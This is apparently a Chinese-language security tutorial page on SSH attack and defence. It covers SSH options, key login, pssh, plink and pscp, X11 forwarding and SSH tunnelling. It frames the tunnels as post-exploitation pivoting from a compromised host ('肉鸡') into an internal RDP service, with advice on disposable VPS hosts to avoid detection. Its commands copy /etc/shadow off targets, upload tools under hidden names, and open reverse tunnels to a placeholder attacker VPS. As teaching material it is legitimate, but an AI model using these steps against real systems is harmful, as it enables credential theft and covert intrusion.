> For the complete documentation index, see [llms.txt](https://lzcloudsecurity.gitbook.io/yun-an-quan-gong-fang-ru-men/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://lzcloudsecurity.gitbook.io/yun-an-quan-gong-fang-ru-men/di-san-zhang-linux-gong-fang-kuai-su-ru-men-xia/linux-fu-wu-ssh-gong-fang.md).

# Linux服务-SSH攻防

SSH是一种网络协议，用于计算机之间的加密登录。

```bash
#连接服务器
ssh root@123.123.123.123
 
#禁止询问过程
ssh -o StrictHostKeyChecking=no root@192.168.250.14
 
#远程执行命令
ssh root@192.168.250.14 "id"
 
#远程主机运行本地脚本
ssh root@192.168.250.14 /bin/bash < test.sh
 
#挂载远程目录
Centos7：yum install fuse-sshfs
Kali：apt install sshfs
sshfs 10.1.1.1:/data /mnt
```

#### 配置文件

/etc/ssh/sshd\_config

```bash
#首次登录不显示检查提示
StrictHostKeyChecking no
PermitRootLogin yes #ubuntu默认不允许root登录
PermitEmptyPasswords no #空密码连接
UseDNS yes #提高速度
GSSAPIAuthentication yes #提高速度，解决ssh登录缓慢的问题
```

常用选项

{% code overflow="wrap" %}

```bash
#常见选项
-p port #远程服务器监听的端口
-b #指定连接的源IP
-v #调试模式
-C #压缩方式
-X #支持x11转发
-t #强制伪tty分配，如:ssh -t remoteserver1 ssh -t remoteserver2 ssh remoteserver3
-o option 如:-o StrictHostKeyChecking=no
-i <file> #指定私钥文件路径，实现基于key验证，默认使用文件: ~/.ssh/id_dsa, ~/.ssh/id_ecdsa, ~/.ssh/id_ed25519，~/.ssh/id_rsa等
```

{% endcode %}

#### 常用工具

**密钥的登录**

```bash
#生成密钥
ssh-keygen -t rsa -P "" -f ~/.ssh/id_rsa
 
#把公钥传到远程服务器中，然后就可以无需密码登录
ssh-copy-id root@192.168.250.1
```

**Pssh**

基于python编写的自动化运维工具，但在2012 年 2 月 3已再不更新了。

安装：yum -y install pssh

场景：获得了内网10+台以上主机，但每一次都需要登录并执行whoami之后截图写报告；

```bash
#输出信息
pssh -H root@192.168.250.14 -A -i whoami
 
#多台主机
pssh -H "192.168.1.10 192.168.1.12" -i hostname
pslurp
#下载文件
pslurp -H 192.168.1.10 -L /app /etc/passwd user
```

**plink**

```bash
#远程非交互命令执行
echo y |plink.exe -v -ssh 192.168.250.14 -P 22 -l root -pw 123qwe!@# "whoami"
 
#文件下载
echo y |pscp.exe -pw 123qwe!@# -P 22 root@192.168.250.14:/etc/shadow E:\shadow
 
#隧道代理
plink.exe -P 22 -l root -pw "1234" -R 445:127.0.0.1:445 admin@VPSIP
```

**pscp非交互文件互传**

pscp.exe是putty里面的一个工具，脱网的情况下利用这个工具上传其它工具。

{% code overflow="wrap" %}

```bash
#将指定文件上传到远程目标系统指定目录下
echo y | pscp.exe -pw 123qwe!@# -P 22 C:\Users\Public\Libraries\SQLexec root@192.168.159.7:/usr/tmp/.sqlexec
 
#从远程目标系统下载指定文件到本地目录
echo y | pscp.exe -pw 123qwe!@# -P 22 root@192.168.159.166:/etc/shadow C:\Users\Public\Libraries\192.168.159.166.hash.txt
 
#上传文件
pscp -P 22 -batch -pw "123qwe!@#" -r C:\Users\Public\sqltool_amd64_upx.elf root@192.168.159.224:/tmp
 
#下载文件
pscp -P 22 -batch -pw "123qwe!@#" -r root@192.168.159.224:/tmp/centos6.txt c:\users\public
```

{% endcode %}

**X 协议转发**

什么是X11-forwarding？

X11 中的 X 指的就是 X 协议；11 指的是采用 X 协议的第 11 个版本。

&#x20;

使用X Server开启图形化

```bash
#Xshell
yum -y install firefox libglvnd-glx
Xmanager - Passive
export DISPLAY=10.0.0.1:0.0
firefox
#MobaXterm
yum install xorg-x11-xauth xorg-x11-fonts-* xorg-x11-font-utils
xorg-x11-fonts-Type1 firefox mailx
exit
firefox
VPS：PyCharm
```

#### 隧道转发&#x20;

什么是SSH隧道？

隧道是一种把网络协议封装进另外一种网络协议进行传输的技术，SSH隧道通常会绑定一个本地端口，所有发向这个端口的数据包，都会被加密并透明地传输到远端系统。

&#x20;

SSH隧道时所用到的一些选项具体用途说明

* &#x20;-C 压缩传输,加快传输速度
* &#x20;-f 在后台对用户名密码进行认证
* &#x20;-N 仅仅只用来转发,不用再弹回一个新的shell -n 后台运行
* &#x20;-q 安静模式,不要显示任何debug信息
* &#x20;-l 指定ssh登录名
* &#x20;-g 允许远程主机连接到本地用于转发的端口
* &#x20;-L 进行本地端口转发
* &#x20;-R 进行远程端口转发
* &#x20;-D 动态转发,即socks代理
* &#x20;-T 禁止分配伪终端
* &#x20;-p 指定远程ssh服务端口

&#x20;

**本地端口转发**

场景：边界Linux服务器，允许SSH登录访问，不想传任何代理工具的情况下使用SSH隧道代理。

问题：

* &#x20;普通用户与root用户都可以吗？
  * 可以
* &#x20;SSH在这个过程中做了哪些事？
  * &#x20;加密、转发、解密、通讯
* &#x20;缺点：每个服务都需要配置不同的端口转发
* &#x20;优点：
  * &#x20;不用任何代理工具
  * &#x20;本地隧道是访问特定SSH客户机进行通信的过程,允许你连接到内网机器。

&#x20;

* &#x20;Cetnos7肉鸡：192.168.3.17  （外网）
* 内网RDP：192.168.3.21 （内网）
* Attack：192.168.3.20 （攻击者，外网）

Kali操作：

```bash
ssh -C -f -N -g -L 0.0.0.0:1234:192.168.5.139:3389 root@172.16.70.144  -p 22
解释：ssh -C -f -N -g -L 本地地址:本地端口:目标IP:目标端口 用户@服务器 -p 端口
```

Kali操作：

```bash
desktop 127.0.0.1:1234
```

**远程端口转发**

* &#x20;缺点：
  * &#x20;每个服务都需要配置不同的端口转发
  * &#x20;容易被发现，通过ps、lsof等命令查看
  * &#x20;需要交互式终端
* &#x20;问题：
  * &#x20;在肉鸡上连接外网VPS要给于普通权限用户，并且最好VPS是一次性使用，如vultr主机，用完就删。
  * &#x20;普通用户与root用户都可以吗？
    * &#x20;可以
  * &#x20;本地端口转发与远程的区别是？
    * &#x20;本地：我连接服务器，远程：服务器连接我
  * &#x20;如何在WebShell上不传任何工具，使用SSH隧道？
    * &#x20;root权限，直接反弹shell，通过反弹的Shell来执行远程端口转发。
      * &#x20;Apache权限，无法执行。

```bash
#Centos7操作（肉鸡）：
ssh -C -f -N -g -R 0.0.0.0:1234:192.168.5.139:3389 root@10.211.55.4
 
#Kali操作：
desktop 127.0.0.1:3389
 
#Windows系统SSH代理：
plink.exe -P 22 -l root -pw "1234" -R 445:127.0.0.1:445 admin@VPSIP
```

**动态端口转发**

```bash
#Kali操作：
ssh -C -f -N -g -D localhost:8080 root@172.16.70.144
 
编辑：vim /etc/proxychains.conf
random_chain
chain_len = 1
proxy_dns
tcp_read_time_out 15000
tcp_connect_time_out 8000
[ProxyList]
socks5  127.0.0.1 8080
 
#Kali操作：
proxychains rdesktop 192.168.5.139
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://lzcloudsecurity.gitbook.io/yun-an-quan-gong-fang-ru-men/di-san-zhang-linux-gong-fang-kuai-su-ru-men-xia/linux-fu-wu-ssh-gong-fang.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
